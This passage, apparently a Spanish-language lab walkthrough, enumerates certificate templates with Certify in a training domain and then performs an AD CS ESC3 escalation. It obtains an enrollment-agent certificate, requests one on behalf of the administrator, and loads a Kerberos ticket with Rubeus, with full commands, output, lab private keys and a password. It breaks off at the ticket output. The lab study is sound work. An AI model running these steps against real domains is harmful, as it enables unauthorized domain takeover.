mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : KerberosAuthentication Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_DOMAIN_DNS, SUBJECT_ALT_REQUIRE_DNS mspki-enrollment-flag : AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon mspki-certificate-application-policy : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Domain Controllers S-1-5-21-335606122-960912869-3279953914-516 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 mcorp\Enterprise Read-only Domain ControllersS-1-5-21-335606122-960912869-3279953914-498 NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9 AutoEnrollment Rights : mcorp\Domain Controllers S-1-5-21-335606122-960912869-3279953914-516 mcorp\Enterprise Read-only Domain ControllersS-1-5-21-335606122-960912869-3279953914-498 NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : SmartCardEnrollment-Agent Schema Version : 2 Validity Period : 10 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Certificate Request Agent mspki-certificate-application-policy : Certificate Request Agent Permissions Enrollment Permissions Enrollment Rights : dcorp\Domain Users S-1-5-21-719815819-3726368948-3917688648-513 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 WriteOwner Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : SmartCardEnrollment-Users Schema Version : 2 Validity Period : 10 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : AUTO_ENROLLMENT Authorized Signatures Required : 1 Application Policies : Certificate Request Agent pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email Permissions Enrollment Permissions Enrollment Rights : dcorp\Domain Users S-1-5-21-719815819-3726368948-3917688648-513 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 WriteOwner Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : HTTPSCertificates Schema Version : 2 Validity Period : 10 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email Permissions Enrollment Permissions Enrollment Rights : dcorp\RDPUsers S-1-5-21-719815819-3726368948-3917688648-1123 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 WriteOwner Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : CA-Integration Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email Permissions Enrollment Permissions Enrollment Rights : dcorp\RDPUsers S-1-5-21-719815819-3726368948-3917688648-1123 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 WriteOwner Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Certify completed in 00:00:22.0812867 ``` ### Buscando Templates Vulnerables ``` C:\AD\Tools>Certify.exe find /vulnerable _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Find certificate templates [*] Using the search base 'CN=Configuration,DC=moneycorp,DC=local' [*] Listing info about the Enterprise CA 'moneycorp-MCORP-DC-CA' Enterprise CA Name : moneycorp-MCORP-DC-CA DNS Hostname : mcorp-dc.moneycorp.local FullName : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=moneycorp-MCORP-DC-CA, DC=moneycorp, DC=local Cert Thumbprint : 8DA9C3EF73450A29BEB2C77177A5B02D912F7EA8 Cert Serial : 48D51C5ED50124AF43DB7A448BF68C49 Cert Start Date : 11/26/2022 1:59:16 AM Cert End Date : 11/26/2032 2:09:15 AM Cert Chain : CN=moneycorp-MCORP-DC-CA,DC=moneycorp,DC=local [!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names! CA Permissions : Owner: BUILTIN\Administrators S-1-5-32-544 Access Rights Principal Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11 Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544 Allow ManageCA, ManageCertificates mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 Allow ManageCA, ManageCertificates mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Enrollment Agent Restrictions : None [!] Vulnerable Certificates Templates : CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : SmartCardEnrollment-Agent Schema Version : 2 Validity Period : 10 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH mspki-enrollment-flag : AUTO_ENROLLMENT Authorized Signatures Required : 0 pkiextendedkeyusage : Certificate Request Agent mspki-certificate-application-policy : Certificate Request Agent Permissions Enrollment Permissions Enrollment Rights : dcorp\Domain Users S-1-5-21-719815819-3726368948-3917688648-513 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 WriteOwner Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Certify completed in 00:00:23.0443059 ``` # AD CS - ESC3 ## Escalacion de Domain Admin Solicitamos un certificado. ``` C:\AD\Tools>Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Agent _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Request a Certificates [*] Current user context : dcorp\student723 [*] No subject name specified, using current context as subject. [*] Template : SmartCardEnrollment-Agent [*] Subject : CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local [*] Certificate Authority : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA [*] CA Response : The certificate had been issued. [*] Request ID : 26 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA4I+FDOA8/1N634WYW2BSqSpnjru2LW/C+THLJXUg3BQEhoBU y70qhujvGDUtJO0NJ5n0yTar0bjme6rvFvAMeGQ5KynknMCr9P+VFASS3lhbWNpA R+ZwMcyvXSivmBiK50WLrwbfw1vGKeXq103qJiMpNJQqeCsbD6WcohcsMkaGGCJe na7fFKWjOHprQBS/xv0PyLIS4LEe2pCwe6nfu9C9V6DFTkGPEvPmC3OAWKXbAGEZ RdqNDiskUlyuHA2UvMyEdl5q8JfiLG6qJ8n3OtH273LveZ1stxmPYmOzzBHdAITf 54OAKlqcQHRZ13i4QlJpavLfwXpXkBvoLpS/1QIDAQABAoIBAG/Q5wZfTeAxODi+ s/uj/eUAGWqoK3F6ehJNagMvzHnpectjcVW1zsw4hn1+VQlTBD7Y2Vur3mhiclnX 5o98XilAdnr4tD4dbkJjVV8PW/Zc9rdKjcF/jBQwAI4ZqT3J0riQF5rCiH8lXooU Uxh8UoBE98qXkIIfrKzg4RqRAU/SgTj+YWM+GcC3cDhkqqLMPeUlJlR08zP2u5EK YKDwkoarNnq6Tmu2a4r1RQdd9W7U0kF2vqaO9n0sV51gewAkDU8oIv6IUvSLLFOV ukDhHs7jeh746SQ3uOCC9yf2NVff9EOef7yJwbPraGhADAlF2sH0evH1ZmKQBYT5 EuLUoW0CgYEA674X9ocQeeDdTsjE3Ez6d5Qpl9ccwZe7WjD5HPLcDaacKFDO5EO6 Iu+7Vw6t+LZO0shLQi5LWeLKis7nrxn+HAFkp2vyiXG6kAlH4EORP6Ij7z3iu5oW OJ+vHTAwGedgIUc8rdYsFdFwyJAOYv/iEuOleCutRZfDqLeJpJebC1cCgYEA89tx rj9eZbawAuoQ1Sg4jLxWaRi2BnY3oRCAOZFIXGSY1nf1onR7fQpKpBW/5hhjBrHo Utt8nXk5CjbiC0O+pJU8tzs0slFfFUFsm9pzqmS8rR8jtTewdWnXshW61+vyyg9B WCFpYM+AriN6bdp35uInIlIm0wO/1FQdYJfBfrMCgYAUVKyUYkmVeUMczEvOBAWF 0o1TvwWH3KIXwSl6yacYtkm5YF63aO/gm3Q4qddvH6nkm8mBx6RP+DMnjXiFrWQw 3h3kInckS16flW1RdgJMzpryww+OxlcsQvlDNyiu0zmDJTWieFoM96cWZPYYq6C/ qEpY9stWuSPypQGF5F1GuQKBgQCec4CykEpuHP7RZfX6C2BzUg1zzLK6ECalaWtn /JbgMh19fgUFwlpbLUzCwb8na8EsoH0tGaEnUZVWpcLLPwGpP69r//SFyYnW7eP8 gT2XAk32z70MC1uFb3jQJn55vr7LvI3hDhTC6xHaFQOATeyLAXgcPPUtN8p11RIh qXn5MQKBgBJmd1QU4oytAiefNZMurrzTUbH7dGRM01bGd2fTkgHeEBvtU8+60P3F d2h1T6HdMXz8KZoNN9UJwHHeMgKinMdiVIcC9aRHYOsKRreVnV4ZP/NKexWa08Jr mQwxc1Cd/QVxrKy1OFpzjeKGqHhxw7240xofFglMR39IFWo99lsZ -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIGWDCCBUCgAwIBAgITFQAAABqkSkxB1toZ7AAAAAAAGjANBgkqhkiG9w0BAQsF ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGTAXBgoJkiaJk/IsZAEZFgltb25l eWNvcnAxHjAcBgNVBAMTFW1vbmV5Y29ycC1NQ09SUC1EQy1DQTAeFw0yNDAzMDQx NDEzNTBaFw0yNjAzMDQxNDIzNTBaMHMxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEZ MBcGCgmSJomT8ixkARkWCW1vbmV5Y29ycDEaMBgGCgmSJomT8ixkARkWCmRvbGxh cmNvcnAxDjAMBgNVBAMTBVVzZXJzMRMwEQYDVQQDEwpzdHVkZW50NzIzMIIBIjAN BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4I+FDOA8/1N634WYW2BSqSpnjru2 LW/C+THLJXUg3BQEhoBUy70qhujvGDUtJO0NJ5n0yTar0bjme6rvFvAMeGQ5Kynk nMCr9P+VFASS3lhbWNpAR+ZwMcyvXSivmBiK50WLrwbfw1vGKeXq103qJiMpNJQq eCsbD6WcohcsMkaGGCJena7fFKWjOHprQBS/xv0PyLIS4LEe2pCwe6nfu9C9V6DF TkGPEvPmC3OAWKXbAGEZRdqNDiskUlyuHA2UvMyEdl5q8JfiLG6qJ8n3OtH273Lv eZ1stxmPYmOzzBHdAITf54OAKlqcQHRZ13i4QlJpavLfwXpXkBvoLpS/1QIDAQAB o4IDBDCCAwAwPAYJKwYBBAGCNxUHBC8wLQYlKwYBBAGCNxUIheGocofMn2jhhyaC n65RgvL2fYE/guHdfLntDQIBZAIBBTAVBgNVHSUEDjAMBgorBgEEAYI3FAIBMA4G A1UdDwEB/wQEAwIHgDAdBgkrBgEEAYI3FQoEEDAOMAwGCisGAQQBgjcUAgEwHQYD VR0OBBYEFLIybQhTIdy7OWfq9O6ilUvG/WwgMB8GA1UdIwQYMBaAFNH+jQqn+rQy nzb8ILj3y55oxUXtMIHYBgNVHR8EgdAwgc0wgcqggceggcSGgcFsZGFwOi8vL0NO PW1vbmV5Y29ycC1NQ09SUC1EQy1DQSxDTj1tY29ycC1kYyxDTj1DRFAsQ049UHVi bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv bixEQz1tb25leWNvcnAsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHLBggrBgEF BQcBAQSBvjCBuzCBuAYIKwYBBQUHMAKGgatsZGFwOi8vL0NOPW1vbmV5Y29ycC1N Q09SUC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049 U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1tb25leWNvcnAsREM9bG9jYWw/ Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRo b3JpdHkwQAYDVR0RBDkwN6A1BgorBgEEAYI3FAIDoCcMJXN0dWRlbnQ3MjNAZG9s bGFyY29ycC5tb25leWNvcnAubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE AYI3GQIBoDAELlMtMS01LTIxLTcxOTgxNTgxOS0zNzI2MzY4OTQ4LTM5MTc2ODg2 NDgtMTM2MDMwDQYJKoZIhvcNAQELBQADggEBAGRWjvCZo4ipjK9mKrEjS9Vz4+bW 7ZfWY7AjLcO2She2yuN1qtxTUFF5RlF9QeMOskAaSrYmrxI7qPhbi4O/pRyu7Yjj 8VrB6TziF2Yrb7+jtacDawRKk5cZv5YagG62oVOOzWkc/o4AIrZiqPKrdwrYWFuD TDIs2oR3cFMSqwr2Q9XQckQQBZw1Qnnv1vRfxV2QghGJPCj7S6vwmMWx4S/0LdGI qj+yNgp1NhraP2Qj6UzEJzMFTtAocLpUbSurjWz4/Bvl8E6+BUDo2zqjqHMDV1wt ueKsLOYrdF5kIoWuRC8ONUZnqpPAP9CQsJOq2v1s5+Tblar1oXzqLqHX1mU= -----END CERTIFICATE----- [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Certify completed in 00:00:11.6275190 ``` Guardamos el output en un archivo cert.pem y luego, convertimos cert.pem en pfx. ``` PS C:\AD\Tools\openssl> .\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3agent.pfx WARNING: can't open config file: /usr/local/ssl/openssl.cnf Enter Export Password: Verifying - Enter Export Password: ``` Nos pidio una password, seteamos SecretPass\@123. Luego realizamos una siguiente consulta. {% code overflow="wrap" %} ``` PS C:\AD\Tools\openssl> ..\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users /onbehalfof:dcorp\administrator /enrollcert:esc3agent.pfx /enrollcertpw:SecretPass@123 _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Request a Certificates [*] Current user context : dcorp\student723 [*] Template : SmartCardEnrollment-Users [*] On Behalf Of : dcorp\administrator [*] Certificate Authority : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA [*] CA Response : The certificate had been issued. [*] Request ID : 27 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAsh7G2kKtVYbKmHfuRw6gO/JMWE1JfXeUOPYWXloNGn4SvjEQ +MxdZOUvvS5ieRoWnux49AXWBlqicyMGTKIEIM1pGbW79SFv7cna12xIHskcmB4X WzglCfSri/X55G4hgWghwxFfLZB1zL++uAdr9K4dZsMQh96Es1tGJH6cXLUw7gdG Zy/3+DyOBQSfCCnfHE7a/LjF8lBrd4C9Gs6K55Uo7LkxL0AeczHJqdoO7H8TQG7h jF/hqL0b/qdKiM4Eny4JGpdyp7nQqBCb2PoNN7JwZWcs1/ZZEj96SjsdkKCNRoHq TOkZJXH4SayEBR6GJ/3691BNNg1fRV9IrgQf/QIDAQABAoIBABgoBF/lWwyWUzOK UE5itWhr29693JGffgKbnTz+iXhmULRqgxq63I+qZWcKu2AhIaA8ActWX0hNUmq6 /Ue3UUgBk5dhBjSgbEWbcop0rPM/4xjeO9yrKJrJC9rXaSSJqxGZxbpmyLmtNcym 1H6wwvtUAbjGC5/hla2dW03nvdz0m6VPI0TC4Wax2uxP3eRhSoAxk27ww/VoZwNA 2kxULuB5s2yKz1HCkqcXiTfbA8mEbASBUOxGsRgUa4Gg6rJDpA6hJM+YCD6IGgjV oBpaCFXg2cwfC0SpYuZmfholasp/6SP5GeborIzBcWI65WD/Pg3HqsFrnv7Q71Vp gLTCKSECgYEAxDBOtz9TRtK+EzWTx6UaRdhFITGFDB5enJvtTJ3byg6YKlHwi6RE S5sRJolnUIlHKPCCNdVstbeLGoWgIsKlcrIX0BOgTxk8CpoPOzuM5FSRKLiCxHPR Spsw3+QjOoiPEx51HtvYQ/WB1aXfK9+Zhq7UpLkaHTA6Bcne4K6LaZ8CgYEA6GxN Klk51fgBxjYhDS8CRDJojjqbGjKF170p+ebBlLPfnlahIhH1A6VfEqtFedJGu71z xdJhnrptHwXrYUnHJkDPnT1vp6FgQ2C8rzCa776wYczlk9Wb96jJzq+6MWC0DQ3y lnGuzahG0/W1nzwyw6Yo3FFiL7jdxZkzusUXiOMCgYAg+JViCoxuTKCRDeIGHWMq 9cu4ZmAbx0bTPwlEZQs5C/bateadMUAhDLB3L4Rjbo68/J6FeZbJe00vaeGdteSk P/XsjD/Wy0Dh7z48ECf/f47drxSa+3Pi++3c0rRw895HskiwpPXVhf8J7tRwxSVC E0O9YzZWTXKS4nhIfk0DtQKBgQCqCooOAIditnY92F4n8gt7b1G1NMVCzlHDe56Z OSzJKSviAMkUTwTtbPB4jRtgO+oJ8logEYHgCc5J0x/Y5owvvVznUgo9HsB5qu2A UlQYMG+Erc4McUwRTciPUVssQu6XWmvviy5zQbjH28zLudP99bORNG1cMqj1ptcE vqswNwKBgQC7jXXlxJAp7JsccotkjZ/DubvIM6Kw4+49SfYBVmmymV5L+unC4TzH OnEqFZfU9gXhF9Zd4d6o0NmWN+3OCYk9kJ55WA1bQEkQkU0N2eZqeXxLViz4i2u/ vH1UVu6LzLK/p9wWrtKrCdOVZJXmLtjj5dQhDyFpT4B1J4DJR0oFJQ== -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIGiTCCBXGgAwIBAgITFQAAABulaPWVel6L8gAAAAAAGzANBgkqhkiG9w0BAQsF ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGTAXBgoJkiaJk/IsZAEZFgltb25l eWNvcnAxHjAcBgNVBAMTFW1vbmV5Y29ycC1NQ09SUC1EQy1DQTAeFw0yNDAzMDQx NDMwMzlaFw0yNjAzMDQxNDQwMzlaMHYxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEZ MBcGCgmSJomT8ixkARkWCW1vbmV5Y29ycDEaMBgGCgmSJomT8ixkARkWCmRvbGxh cmNvcnAxDjAMBgNVBAMTBVVzZXJzMRYwFAYDVQQDEw1BZG1pbmlzdHJhdG9yMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsh7G2kKtVYbKmHfuRw6gO/JM WE1JfXeUOPYWXloNGn4SvjEQ+MxdZOUvvS5ieRoWnux49AXWBlqicyMGTKIEIM1p GbW79SFv7cna12xIHskcmB4XWzglCfSri/X55G4hgWghwxFfLZB1zL++uAdr9K4d ZsMQh96Es1tGJH6cXLUw7gdGZy/3+DyOBQSfCCnfHE7a/LjF8lBrd4C9Gs6K55Uo 7LkxL0AeczHJqdoO7H8TQG7hjF/hqL0b/qdKiM4Eny4JGpdyp7nQqBCb2PoNN7Jw ZWcs1/ZZEj96SjsdkKCNRoHqTOkZJXH4SayEBR6GJ/3691BNNg1fRV9IrgQf/QID AQABo4IDMjCCAy4wPQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIheGocofMn2jh hyaCn65RgvL2fYE/hrSlX4e6+hgCAWQCAQkwKQYDVR0lBCIwIAYIKwYBBQUHAwQG CisGAQQBgjcKAwQGCCsGAQUFBwMCMA4GA1UdDwEB/wQEAwIHgDA1BgkrBgEEAYI3 FQoEKDAmMAoGCCsGAQUFBwMEMAwGCisGAQQBgjcKAwQwCgYIKwYBBQUHAwIwHQYD VR0OBBYEFI5EV5KeZWsEuE61TLIlOGQnPdOoMB8GA1UdIwQYMBaAFNH+jQqn+rQy nzb8ILj3y55oxUXtMIHYBgNVHR8EgdAwgc0wgcqggceggcSGgcFsZGFwOi8vL0NO PW1vbmV5Y29ycC1NQ09SUC1EQy1DQSxDTj1tY29ycC1kYyxDTj1DRFAsQ049UHVi bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv bixEQz1tb25leWNvcnAsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHLBggrBgEF BQcBAQSBvjCBuzCBuAYIKwYBBQUHMAKGgatsZGFwOi8vL0NOPW1vbmV5Y29ycC1N Q09SUC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049 U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1tb25leWNvcnAsREM9bG9jYWw/ Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRo b3JpdHkwQwYDVR0RBDwwOqA4BgorBgEEAYI3FAIDoCoMKGFkbWluaXN0cmF0b3JA ZG9sbGFyY29ycC5tb25leWNvcnAubG9jYWwwTQYJKwYBBAGCNxkCBEAwPqA8Bgor BgEEAYI3GQIBoC4ELFMtMS01LTIxLTcxOTgxNTgxOS0zNzI2MzY4OTQ4LTM5MTc2 ODg2NDgtNTAwMA0GCSqGSIb3DQEBCwUAA4IBAQBlDd98YeMYrHARcbV18wL3CBMK Bg5XBYpfQwKQ887DYJkC4v/KqjSFqbaGZBA9oRnvb9JohkDAtQZqjyfIOYyAd5Kp zp32AZcMssWn5crKgCAua+9iTUEgybsfqN+WBMACfUISzFDK6za81G1/zmTbOitx Liw1xWx67PX4etRUfJrY8o881yw/eEPPMUaiClhVtbt6rh3PW4H3CiSX7ntN8CF6 JgbZhdYXQDsEjqVR9hkizP2GlcLQZTirLAxQucbuAQFBYvFS7yAFVo126wKxdV03 gY8E7gWKl7NvmVpLfoELZMu497VZI5HavPSEo/886tIJSWAGte+YSeORcSuF -----END CERTIFICATE----- [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Certify completed in 00:00:06.6038748 PS C:\AD\Tools\openssl> ``` {% endcode %} Luego volvemos a guardar esto como cert.pem y volvemos a exportar como .pfx. ``` PS C:\AD\Tools\openssl> .\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3user-DA.pfx WARNING: can't open config file: /usr/local/ssl/openssl.cnf Enter Export Password: Verifying - Enter Export Password: ``` Ahora ejecutamos rubeus para cargar el certificado como un ticket. ``` PS C:\AD\Tools\openssl> ..\Rubeus.exe asktgt /user:administrator /certificate:esc3user-DA.pfx /password:SecretPass@123 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\administrator' [*] Using domain controller: 172.16.2.1:88 [+] TGT request successful! [*] base64(ticket.kirbi): 